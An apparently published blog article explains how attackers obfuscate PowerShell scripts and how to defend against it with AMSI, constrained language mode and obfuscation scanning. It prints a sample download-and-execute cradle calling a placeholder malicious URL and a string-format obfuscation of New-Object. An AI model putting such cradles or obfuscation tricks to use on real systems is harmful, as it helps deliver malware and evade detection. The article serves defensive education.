PowerShell script obfuscation: Fight back against this growing threat

In recent years, PowerShell has quickly become a go-to tool for hackers and malware authors. Although there are countless other tools that can be used to attack a system, PowerShell has one distinct advantage over most of the alternatives for those who have bad intent. Because PowerShell is a native component of the Windows operating system, a malicious PowerShell script is less likely to be detected than some of the other tools that the bad guys use. Although PowerShell can be an effective scripting tool for hackers, there is at least one big problem with its use. PowerShell scripts include commands that are displayed in clear text. This means that the intended victim can easily review a script’s contents before running the script. After all, most people probably aren’t going to run a script containing a command such as:

Invoke-Expression (New-Object Net.WebClient).DownloadString(http://<malicious URL.com>/evil-trojan)

That being the case, those who use PowerShell for malicious purposes have increasingly begun using script obfuscation techniques as a way of hiding the script’s commands.

On the surface, the idea of using script obfuscation to conceal malicious commands may sound really complex, but the basic idea behind these techniques is actually quite simple. The goal behind PowerShell script obfuscation isn’t to somehow make malicious commands invisible so that they evade detection, but rather to write the commands in a way that makes them very difficult to understand.

A simple example

Let me give you a really simple example. As I’m sure you probably know, PowerShell cmdlets are made up of verb-noun combinations. The command that I mentioned earlier, for example, uses the verb Invoke with the noun Expression. If you want to run the Invoke-Expression cmdlet, however, you don’t actually have to type Invoke-Expression. Microsoft provides aliases for many of the native PowerShell cmdlets. Aliases are simply cmdlet shortcuts. The alias for Invoke-Expression for example, is iex.

A PowerShell script that replaces long form cmdlets with aliases might be considered to be slightly obfuscated, because the aliases make the script more difficult to comprehend. If someone is not familiar with the aliases used, they would have to look up those aliases to figure out what the script does.

Of course the use of aliases will only do so much. Even if the previously mentioned command were rewritten to use an alias, it would still be easy to tell that the command is designed to download a malicious file. As such, most PowerShell obfuscation techniques work by using string manipulation techniques. The idea is to imbed a command in a string, and then use various manipulation techniques to render the string almost unreadable. The New-Object cmdlet for example, could be rewritten as: &(‘{1}{0}’-f’bject’,New-O’}.

Someone who is not well-versed in PowerShell would probably have a tough time figuring out exactly what that particular string means. Keep in mind that this is only one example of an obfuscation technique. There are many other ways to obfuscate PowerShell cmdlets. In fact, there is a tool available on GitHub called Invoke-Obfuscation. The tool’s job is to take a text string and show you various ways to obfuscate it.

Fighting back against PowerShell script obfuscation

So now that I have explained what script obfuscation is, and why it is used, the bigger question is how can you defend against these techniques? The most obvious answer to this question is that you should avoid running any script that has not been proven to be trustworthy. However, there are some other things that you can also do.

First and foremost, be sure to leave Windows Defender enabled. Windows 10 has a built-in feature called the Windows Antimalware Scan Interface, or AMSI. This interface is integrated into PowerShell as well as the Windows Script Host, JavaScript, VMScript, User Account Control, and Office VBA macros. This allows Windows to detect malicious code found within a PowerShell script.

To show you how this works, I pasted some potentially malicious PowerShell code into Notepad. As soon as I clicked the Save icon, immediately received Windows Defender warnings, as shown in the figure below.


It’s possible that heavily obfuscated code could slip past the antimalware engine, but in my own tests I have found it to be very effective at detecting malicious code.

Another thing that you can do is to enable constrained language mode. The basic idea behind using PowerShell’s constrained language mode is that you can make it so that PowerShell is able to run all the usual cmdlets, but is not able to leverage the .NET framework or external APIs. If other words, using constrained language mode can greatly limit the effectiveness of a malicious script.
I recently wrote a full-length article about how to use PowerShell’s constrained language mode, but I will go ahead and show you how to turn it on. You can enable constrained language mode by entering this command:

$ExecutionContext.SessionState.LanguageMode = “ConstrainedLanguage”

You can turn constrained language mode back off by using this command:

$ExecutionContext.SessionState.LanguageMode = “FullLanguage”

Not always easy to catch

A good rule of thumb is that if a PowerShell script includes commands that are heavily obfuscated, then that script should be considered to be malicious. Most people who develop legitimate code do not heavily obfuscate their commands. PowerShell script obfuscation is only used when the author has something to hide.

Unfortunately, deciding whether or not to run a script might not always be a matter of taking a quick look at the script’s code. I have personally seen PowerShell scripts that include thousands of lines of code. It would be completely impractical to scrutinize every single line in such a script.

Even so, there is something that you can do. If you happen to download a lot of PowerShell scripts from the Internet, then it may be worth your time to build your own script that scans each line of a downloaded script, looking for obfuscation. As previously noted, obfuscation comes in many different forms, but such a script could detect potential obfuscation by looking for an excessive number of brackets, apostrophes, or quotation marks within a line of code.

Featured image: Shutterstock / TechGenix illustration

Brien Posey

Brien Posey is a freelance technology author and speaker with over two decades of IT experience. Prior to going freelance, Brien was a CIO for a national chain of hospitals and healthcare facilities. He has also served as a network engineer for the United States Department of Defense at Fort Knox. In addition, Brien has worked as a network administrator for some of the largest insurance companies in America. To date, Brien has received Microsoft’s MVP award numerous times in categories including Windows Server, IIS, Exchange Server, and File Systems / Storage. You can visit Brien’s Website at: www.brienposey.com.

Share
Published by
Brien Posey

Recent Posts

Azure DevOps Wiki: Manage your project documentation and collaboration

Not being able to find project documentation is way too common. Use Azure DevOps’ built-in…

2 days ago

Samsung Unpacked 2020: Galaxy S20, Galaxy Z Flip, and more

Samsung is again the first major company to roll out new smartphones in the new…

2 days ago

PhotoSquared data leak exposes users’ photos, information

PhotoSquared has experienced a data leak, mainly because the popular U.S.-based photo app failed to…

2 days ago

Moving data from an Azure VM to Storage Account with AzCopy

Here’s an elegant and modern way to move data from your Azure virtual machine to…

3 days ago

A lot not to like: Analysis of recent Facebook data breach

The effects of the recent Facebook data breach are still being felt. In this new…

3 days ago

Exchange 2019: Building an environment from scratch

Are you finally ready to take the plunge into Exchange 2019? If you are building…

3 days ago